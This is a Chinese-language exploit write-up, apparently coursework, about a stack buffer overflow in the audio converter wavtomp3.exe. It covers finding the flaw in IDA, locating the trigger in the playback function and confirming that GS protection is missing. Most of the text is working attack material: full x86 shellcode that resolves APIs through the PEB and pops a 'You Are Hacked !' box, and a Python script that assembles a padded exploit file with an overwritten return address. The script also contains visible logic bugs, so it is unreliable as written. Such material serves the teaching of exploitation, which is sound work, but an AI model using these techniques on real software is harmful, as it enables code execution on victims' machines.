存在漏洞的软件
软件是一款音频格式转化软件,名字叫做:wavtomp3.exe,界面如下所示:
过程记录
定位漏洞点
其实课件中给出的漏洞点代码由于只有伪代码,所以信息量很少,但是万幸的是观察给出的关键漏洞点代码,可以看到在循环的时候会进行一个判断,判断的时候调用了sub_4B9C6C
这个函数。
这就给出了一个思路就是利用sub_4B9C6C
这个信息点和IDA的交叉引用功能找到这个漏洞点对应的VA。
运气比较好的是,这个函数在整个主模块中被调用的次数比较少,可以手工进行比对,否则就将IDA的伪代码人工转化成汇编代码并编写一个IDA的脚本进行比对了。
人工一一比对完着五个交叉引用,可以找到对应的漏洞点。
该函数的起始地址为4BA820。
这里说一下题外话就是usercall
这个调用约定:usercall调用约定是特定于编译器的,该调用约定仅在编译器开启了完全优化选项后使用,其特点是使用任意寄存器传值,其约定的有效范围为编译器特定的。
回到主题,和漏洞点的伪代码对应的汇编代码如下:
找到了漏洞点后就可以在ollydbg\windbg中对应的VA处下断点了。
定位触发漏洞的动作
当拿到漏洞VA后,就要思考到底是什么动作才能触发这个漏洞,一般来说完成这步的思路有三种,两大类:
- 通过IDA进行分析,找到类似于获取文本框字符、打开文件等特征函数并结合应用找到触发漏洞的动作;
- 通过在应用中不断进行手工尝试来找到触发动作;
- 利用现有的模糊测试框架来自动化遍历所有路径;
自动化的这种测试方法比较麻烦,所以我这里先尝试一下手工分析。分析IDA的调用图,可以看到信息比较少。
上层函数只有一层而且同样没有符号信息,并且4b9d08
这个函数是以函数指针方式调用的,这意味着单纯的静态分析不能分析出到达触发漏洞这条路径的动作。
接下来理一下思路,在漏洞触发的伪代码中,这个循环明显是在进行v30变量的拷贝或者是校验,再加上v30这个变量是在栈中分配的,所以进行这段代码的作用是拷贝的可能比较大,而考虑到分配的空间比较大,这段拷贝很可能是针对字符串或者是文件的。‘
接下来观察一下应用,可以看到这个应用是一个将WAV转化为MP3的应用,并且页面比较简单,则代表我们手工进行测试的工作量是比较小的。
和Option选项
那就下断点试试吧。
最后发现触发漏洞的动作是在加载了音乐文件后的播放功能中。
而且漏洞点和上述的漏洞点不太一样,真正的漏洞点是if-else
的另外一条分支,但是都是溢出漏洞,区别不大。
当拷贝完成后,可以看到V30变量的内容和文件内容是一致的。
漏洞利用方式的确认
在IDA里面检查security函数字段,并没有发现针对栈溢出的保护函数,所以可以断言本应用并没有打开对应的GS保护选项。
那么就可以简单的使用栈溢出来进行任意代码执行了。首先定位一下溢出函数rtn
指令的栈地址0019FA60
并确认一下缓冲区的首地址0019EA40
两者相减就是Shellcode+Padding所需要占满的空间
ShellCode的编写
ShellCode的编写可以看这一篇文章https://blog.csdn.net/x_nirvana/article/details/68921334
总结来说需要注意以下几点:
- 不能使用直接偏移,因为ShellCode在内存中的地址可能是不确定的;
- 不能直接调用系统API,因为这些API对应的DLL库可能还没有载入内存
- 在ShellCode中不能存在
'\0'
这样的特殊字符出现,因为如strcpy
这样的函数可能会对'\0'
字符进行截断,造成Payload的不完整 - 对于段内的
jmp
和call
指令,由于采用的相对寻址,可以在ShellCode中直接使用
在上面那一篇文章中对第二和第三点解决的比较好,但是第一点问题作者采取的方法是直接不使用变量和字符串,但是个人感觉这种方法太过于反人类,所以我对作者的ShellCode汇编代码进行了一定的魔改,如下:
call BaseAddr
BaseAddr:
pop ebx
push ebx
jmp RealStart
;数据区
GetProcAddress_F_Offset equ $-BaseAddr
GetProcAddress_F:dd '0'
LoadLibrary_F_Offset equ $-BaseAddr
LoadLibrary_F:dd '0'
User32_Str_Offset equ $-BaseAddr
User32_Str:db 'User32.dll$'
MessageBox_A_Offset equ $-BaseAddr
MessageBox_A_:db'MessageBoxA$'
User32_Base_Offset equ $-BaseAddr
User32_Base:dd'0'
Hack_String_Offset equ $-BaseAddr
Hack_String:dd'You Are Hacked !$'
;数据区
RealStart:
xor ecx, ecx
mov eax, [fs: ecx + 0x30] ; EAX = PEB
mov eax, [eax + 0xc] ; EAX = PEB->Ldr
mov esi, [eax + 0x14] ; ESI = PEB->Ldr.InMemOrder
lodsd ; EAX = Second module
xchg eax, esi ; EAX = ESI, ESI = EAX
lodsd ; EAX = Third(kernel32)
mov ebx, [eax + 0x10] ; EBX = Base address
mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanew
add edx, ebx ; EDX = PE Header
mov edx, [edx + 0x78] ; EDX = Offset export table
add edx, ebx ; EDX = Export table
mov esi, [edx + 0x20] ; ESI = Offset namestable
add esi, ebx ; ESI = Names table
xor ecx, ecx ; EXC = 0
Get_Function:
inc ecx ; Increment the ordinal
lodsd ; Get name offset
add eax, ebx ; Get function name
cmp dword [eax], 0x50746547 ; GetP
jnz Get_Function
cmp dword [eax + 0x4], 0x41636f72 ; rocA
jnz Get_Function
cmp dword [eax + 0x8], 0x65726464 ; ddre
jnz Get_Function
mov esi, [edx + 0x24] ; ESI = Offset ordinals
add esi, ebx ; ESI = Ordinals table
mov cx, [esi + ecx * 2] ; Number of function
dec ecx
mov esi, [edx + 0x1c] ; Offset address table
add esi, ebx ; ESI = Address table
mov edx, [esi + ecx * 4] ; EDX = Pointer(offset)
add edx, ebx ; EDX = GetProcAddress
push ebx
add esp,4
pop ebx
mov [ebx+GetProcAddress_F_Offset],edx
push ebx
sub esp,4
pop ebx
xor ecx, ecx ; ECX = 0
push ebx ; Kernel32 base address
push edx ; GetProcAddress
push ecx ; 0
push 0x41797261 ; aryA
push 0x7262694c ; Libr
push 0x64616f4c ; Load
push esp ; "LoadLibrary"
push ebx ; Kernel32 base address
call edx ; GetProcAddress(LL)
add esp, 0xc ; pop "LoadLibrary"
pop ecx ; ECX = 0
add esp,8
pop ebx
mov [ebx+LoadLibrary_F_Offset],eax
push ebx
sub esp,8
mov edx,ebx
add edx,User32_Str_Offset
push edx
call Replace_0
add esp,4
push ebx
push edx
mov edx,[ebx+LoadLibrary_F_Offset]
call edx
pop ebx;加载user32.dll
mov [ebx+User32_Base_Offset],eax
mov edx,ebx
add edx,MessageBox_A_Offset
push edx
call Replace_0
add esp,4
push edx
mov edx,[ebx+User32_Base_Offset]
push edx
mov edx,[ebx+GetProcAddress_F_Offset];MessageBox_A_
call edx
mov [ebx+MessageBox_A_Offset],eax
mov edx,ebx
add edx,Hack_String_Offset
push edx
call Replace_0
add esp,4
push 0
push edx
push edx
push 0
mov eax,[ebx+MessageBox_A_Offset]
call eax
mov edx,[ebx+GetProcAddress_F_Offset]
call edx
add esp,4
pop ebx;加载user32.dll
mov edx,[ebx+LoadLibrary_F_Offset]
Replace_0:
push esp
mov ebp,esp
mov eax,[ebp+8]
Replace_0_loop:
cmp byte [eax],'$'
jz Replace_0_Ret
inc eax
jmp Replace_0_loop
Replace_0_Ret:
mov byte[eax],0
mov eax,0
mov esp,ebp
pop esp
ret
其思路是利用call
指令将ShellCode执行时的基址保存在某个寄存器,如ebx
中,之后的变量寻址都使用以基址寻址这种方式进行。同时如果变量中必须要存在0字节的话也需要在运行时修改,如我编写的Shellcode中Repalce_0
的作用就是将字符串的结束符号'$'
(自定义)修改为'\0'
重复造轮子之Padload的自动化编写
由于ShellCode编写->人工分析、拷贝字节码->拼接padding->payload生成
这一条路线太过于智障而且效率低下,我这里制作了一个将后面三步流程打包的一个Python小脚本,其实网络上也不是没有类似于这样的工具,但是搜索下来发现资料较少,而且对于新用户不太友好,所以自己重新造了一个轮子,如下所示:
import os
import re
class ExpProcessor:
ExpFilePath=""
OutPutFile=""
ShellCodePath=""
TmpPath=os.getcwd()+"NasmTmp.asm"
TmpObjPath=os.getcwd()+"ExpObj.o"
TmpDisassemblyPath=os.getcwd()+"ExpDisassembly.txt"
TmpElfHeaderPath=os.getcwd()+"ElfHeaderInformation.txt"
ShellCodeBeginIndex="ShellcodeBegin"
ShellCodeEndIndex="ShellcodeEnd"
ShellCode=bytearray()
BeginOffset=0
EndOffset=0
TextSeg_Offset=0
Length=0
ShellCode_VA=0
def __init__(self,FilePath):
self.ShellCode=FilePath
def __Nasm(self):
os.system("nasm -f elf {} -o {}".format(self.TmpPath,self.TmpObjPath))
def __Splicing(self):
with open(self.TmpPath,'w') as TmpFile:
TmpFile.write("global start\n")
TmpFile.write("start:\n")
TmpFile.write("nop\n")
TmpFile.write("{}:\n".format(self.ShellCodeBeginIndex))
ShellCodeTxt=""
with open(self.ShellCodePath,'r') as ShellcodeFile:
ShellCodeTxt=ShellcodeFile.read()
TmpFile.write(ShellCodeTxt+'\n')
TmpFile.write("{}:\n".format(self.ShellCodeEndIndex))
def __Get_ShellCode_Offset(self):
os.system("objdump -d -f {} >> {}".format(self.TmpObjPath,self.TmpDisassemblyPath))
Disassembly=""
with open(self.TmpDisassemblyPath,'r') as DisassemblyFile:
Disassembly=DisassemblyFile.readline()
if(re.search(r'[0-9A-Fa-f]{8}\s{1}\<ShellcodeBegin>:{1}',Disassembly)):
BeginOffset=re.search(r'[0-9A-Fa-f]*',Disassembly)
self.BeginOffset=int(BeginOffset,16)
if(re.search(r'[0-9A-Fa-f]{8}\s{1}\<ShellcodeEnd>:{1}',Disassembly)):
EndOffset=re.search(r'[0-9A-Fa-f]*',Disassembly)
self.BeginOffset=int(EndOffset,16)
def __Get_TextSegment_Offset(self):
os.system("readelf -S {} >> {}".format(self.TmpObjPath,self.TmpElfHeaderPath))
with open(self.TmpElfHeaderPath,'r') as ElfHeader_File:
line=ElfHeader_File.readline()
if(line.find(".text")):
self.TextSeg_Offset=int(re.search(r'[0-9a-fA-F]{8}\s([0-9a-fA-F]+)\s',line).group(1),16)
def Set_Length(self,Length):
self.Length=Length
def Set_ShellVA(self,VA):
self.ShellCode_VA=int.to_bytes(VA,4,'little')
def __Get_ShellCode(self):
self.__Splicing()
self.__Nasm()
self.__Get_ShellCode_Offset()
self.__Get_TextSegment_Offset()
with open(self.TmpObjPath,'rb') as Bin_File:
Bin_File.seek(self.TextSeg_Offset+self.BeginOffset,0)
for i in range(self.BeginOffset,self.EndOffset):
self.ShellCode=self.ShellCode+Bin_File.read(1)
def Process_ShellCode(self):
self.__Get_ShellCode()
def Get_ShellCode_C(self,FilePath=None):
ShellCode="\nunsigned int ShellCode=[\n"
for i in self.ShellCode:
Tmp=i
Tmp=int.from_bytes(Tmp,'little',signed=False)
Tmp=hex(Tmp)
ShellCode=ShellCode+Tmp+','
ShellCode=ShellCode[:-1]
print(ShellCode)
if(FilePath):
with open(FilePath,'w') as OutFile:
OutFile.write(ShellCode)
return ShellCode
def Get_Exp_File(self,FilePath):
with open(FilePath,'wb') as OutFile:
for i in self.ShellCode:
OutFile.write(i)
for i in range(0,self.Length-len(self.ShellCode)-4):
OutFile.write(b'A')
for i in range(0,4):
OutFile.write(b'B')
for i in self.ShellCode_VA:
OutFile.write(i)
该脚本需要运行在安装有Nasm和ObjDump的环境之下,并需要给出缓冲区首地址和缓冲区首地址到溢出点(栈返回地址、异常处理指针)的长度。